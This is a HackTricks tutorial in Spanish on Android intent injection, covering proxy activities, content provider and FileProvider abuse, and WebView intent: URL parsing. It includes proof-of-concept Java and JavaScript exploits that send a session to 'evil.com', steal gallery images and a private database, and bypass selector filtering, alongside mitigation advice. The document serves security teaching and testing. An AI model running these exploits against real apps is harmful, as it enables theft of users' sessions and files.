hacktricks/mobile-pentesting/android-app-pentesting/intent-injection.md
2023-06-03 01:46:23 +00:00

17 KiB

Introducción

Esta vulnerabilidad se asemeja a la Redirección Abierta en seguridad web. Dado que la clase Intent es Parcelable, los objetos que pertenecen a esta clase pueden ser pasados como datos extra en otro objeto Intent.
Muchos desarrolladores hacen uso de esta característica y crean componentes proxy (actividades, receptores de difusión y servicios) que toman un Intent incrustado y lo pasan a métodos peligrosos como startActivity(...), sendBroadcast(...), etc.
Esto es peligroso porque un atacante puede forzar a la aplicación a lanzar un componente no exportado que no puede ser lanzado directamente desde otra aplicación, o para otorgar al atacante acceso a sus proveedores de contenido. WebView también a veces cambia una URL de una cadena a un objeto Intent, usando el método Intent.parseUri(...) y lo pasa a startActivity(...).

{% hint style="info" %} En resumen: si un atacante puede enviar un Intent que se está ejecutando de manera insegura, potencialmente puede acceder a componentes no exportados y abusar de ellos. {% endhint %}

Un caso típico

Examinemos un ejemplo. Fragmento del archivo AndroidManifest.xml

<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />

Actividad ProxyActivity

startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));

Actividad AuthWebViewActivity

webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());

AuthWebViewActivity es un ejemplo de funcionalidad oculta de la aplicación que realiza ciertas acciones inseguras, en este caso pasando la sesión de autenticación del usuario a una URL obtenida del parámetro url.

Las restricciones de exportación significan que el atacante no puede acceder directamente a AuthWebViewActivity. Una llamada directa...

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);

lanza una java.lang.SecurityException, debido a la Negación de Permiso: AuthWebViewActivity no exportado desde el uid 1337.

Pero el atacante puede forzar al usuario a lanzar AuthWebViewActivity por sí mismo:

Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

y no surgirá ninguna violación de seguridad, porque la aplicación que está siendo atacada tiene acceso a todos sus propios componentes. Usando este fragmento de código, el atacante puede evitar las restricciones incorporadas del sistema Android.

Escalación del impacto

Para aumentar el impacto de esta vulnerabilidad, es necesario encontrar otras vulnerabilidades/configuraciones incorrectas que permitan aumentar el impacto de la vulnerabilidad (ya que la vulnerabilidad por sí sola no crea ningún riesgo).

Escalación de ataques a través de proveedores de contenido

Además del acceso a componentes arbitrarios de la aplicación original, el atacante puede intentar obtener acceso a aquellos Proveedores de Contenido de la aplicación vulnerable que satisfagan las siguientes condiciones:

  • debe estar no exportado (de lo contrario, podría ser atacado directamente, sin usar la vulnerabilidad que estamos discutiendo en este artículo)
  • debe tener el indicador android:grantUriPermissions establecido en true.
    • android:grantUriPermissions="true" indica que su código Java puede usar FLAG_GRANT_READ_URI_PERMISSION y FLAG_GRANT_WRITE_URI_PERMISSION para cualquier Uri servido por ese ContentProvider.
    • android:grantUriPermissions="false" indica que solo los valores Uri especificados por los elementos secundarios <grant-uri-permission> pueden ser utilizados con FLAG_GRANT_READ_URI_PERMISSION y FLAG_GRANT_WRITE_URI_PERMISSION.

El atacante debe establecerse como el destinatario de un intento incrustado y establecer las siguientes indicaciones:

  • Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION permite el acceso persistente al proveedor (sin esta indicación, el acceso es solo una vez)
  • Intent.FLAG_GRANT_PREFIX_URI_PERMISSION permite el acceso URI por prefijo - por ejemplo, en lugar de obtener acceso separado repetidamente utilizando una ruta completa como content://com.victim.provider/image/1, el atacante puede otorgar acceso a todo el contenido del proveedor utilizando el URI content://com.victim.provider/ y luego usar ContentResolver para abordar content://com.victim.provider/image/1, content://com.victim.provider/image/2, etc.
  • Intent.FLAG_GRANT_READ_URI_PERMISSION permite operaciones de lectura en el proveedor (como query, openFile, openAssetFile)
  • Intent.FLAG_GRANT_WRITE_URI_PERMISSION permite operaciones de escritura

Un ejemplo de un proveedor típico donde un atacante puede obtener acceso y realizar operaciones regulares como query, update, insert, delete, openFile, openAssetFile.

<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>

Ejemplo de robo de imágenes de usuario en el archivo AndroidManifest.xml

Un atacante puede robar imágenes de usuario si la aplicación tiene permisos para acceder a la galería de imágenes del dispositivo. Para verificar si la aplicación tiene este permiso, podemos buscar en el archivo AndroidManifest.xml de la aplicación.

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />

Si encontramos esta línea en el archivo AndroidManifest.xml, significa que la aplicación tiene permiso para leer imágenes de la galería del dispositivo. El atacante puede aprovechar este permiso para robar imágenes de usuario sin su conocimiento.

Para evitar este tipo de ataque, los desarrolladores deben asegurarse de que su aplicación solo solicite los permisos necesarios y que los usuarios estén informados sobre los permisos que se solicitan.

<activity android:name=".LeakActivity" android:exported="true" />

Archivo MainActivity.java

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
        | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
        | Intent.FLAG_GRANT_READ_URI_PERMISSION
        | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image

Ataques al proveedor de archivos de Android

Esta vulnerabilidad también hace posible que el atacante robe archivos de aplicaciones ubicados en directorios que el desarrollador predeterminó. Para un ataque exitoso, la aplicación maliciosa necesita obtener derechos de acceso al proveedor de archivos de Android y luego leer el contenido del proveedor de archivos usando Android ContentResolver.

Proveedor de archivos de ejemplo (para más detalles, consulte https://developer.android.com/reference/android/support/v4/content/FileProvider)

<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>

Proporciona acceso de lectura/escritura a archivos en una lista especial que se puede encontrar en los recursos de la aplicación, en este caso en res/xml/provider_paths.xml.

Puede parecer algo así:

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <root-path name="root" path=""/>
    <files-path name="internal_files" path="."/>
    <cache-path name="cache" path=""/>
    <external-path name="external_files" path="images"/>
</paths>

Cada etiqueta especifica un directorio raíz con un valor path relativo al mismo. Por ejemplo, el valor external_files corresponderá a new File(Environment.getExternalStorageDirectory(), "images").

El valor root-path corresponde a /, es decir, proporciona acceso a archivos arbitrarios.

Supongamos que tenemos algunos datos secretos almacenados en el archivo /data/data/com.victim/databases/secret.db: el robo de este archivo puede parecer algo así como esto en MainActivity.java.

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server

Acceso a componentes arbitrarios a través de WebView

Un objeto Intent puede ser convertido a una cadena con una llamada a Intent.toUri(flags) y de vuelta de una cadena a un Intent usando Intent.parseUri(stringUri, flags). Esta funcionalidad es a menudo utilizada en WebView (el navegador integrado de la aplicación): la aplicación puede verificar un esquema intent://, analizar la URL en un Intent y lanzar la actividad.

Esta vulnerabilidad puede ser explotada tanto a través de otras vulnerabilidades (por ejemplo, la capacidad de abrir enlaces arbitrarios en la aplicación en WebView directamente a través de actividades exportadas o mediante el mecanismo deeplink) en la aplicación cliente y también de forma remota, incluyendo scripting entre sitios en el lado del servidor o MitM en el lado del cliente.

Ejemplo de código vulnerable

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if("intent".equals(uri.getScheme())) {
        startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
        return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}

El punto aquí es que el método shouldOverrideUrlLoading(...) de la clase WebViewClient es llamado cada vez que WebView intenta cargar un nuevo enlace, pero da la opción a la aplicación de agregar un manejador personalizado.

Para explotar esta vulnerabilidad, el atacante necesita crear una redirección de WebView a una URL de esquema de intentos especialmente preparada. Ejemplo de creación de URL:

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"

Ataque de ejemplo

location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";

Esta versión contiene varias restricciones en comparación con la versión clásica de la vulnerabilidad:

  • Los objetos Parcelable y Serializable incrustados no se pueden convertir a cadena (se ignorarán)
  • Las banderas inseguras Intent.FLAG_GRANT_READ_URI_PERMISSION e Intent.FLAG_GRANT_WRITE_URI_PERMISSION son ignoradas cuando se llama a Intent.parseUri(...). El analizador solo las dejará si se establece la bandera Intent.URI_ALLOW_UNSAFE (startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))), lo cual es muy raro.

Muchos desarrolladores todavía olvidan realizar un filtrado completo de los intents recibidos a través de WebView.

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if("intent".equals(uri.getScheme())) {
    	Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
    	intent.addCategory("android.intent.category.BROWSABLE");
    	intent.setComponent(null);
      startActivity(intent);
      return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}

El atacante puede especificar un componente no exportado a través de un selector.

Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"

Y evitar la protección de la aplicación contra intents explícitos. Por lo tanto, recomendamos filtrar también el selector.

intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);

Pero incluso un filtrado completo no garantiza una protección completa, ya que un atacante puede crear un intento implícito correspondiente al intent-filter de alguna actividad no exportada. Ejemplo de declaración de actividad:

<activity android:name=".AuthWebViewActivity" android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:scheme="victim" android:host="secure_handler" />
    </intent-filter>
</activity>
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());

Por lo tanto, recomendamos verificar que una actividad esté exportada antes de que se lance.

Otras formas de crear intents inseguros

Algunos desarrolladores de aplicaciones implementan sus propios analizadores de intents (a menudo para manejar deeplinks o mensajes push), utilizando objetos JSON, cadenas o matrices de bytes, que no difieren del valor predeterminado o presentan un gran peligro, porque pueden expandir objetos Serializable y Parcelable y también permiten establecer banderas inseguras. El investigador de seguridad también puede encontrar versiones más exóticas de creación de intents, como la conversión de una matriz de bytes a un Parcel y luego leer un intent desde él.

Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
    byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
    Parcel parcel = Parcel.obtain();
    parcel.unmarshall(handle, 0, handle.length);
    startActivity((Intent) parcel.readParcelable(getClassLoader()));
}

Aplicación vulnerable

{% embed url="https://github.com/oversecured/ovaa" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥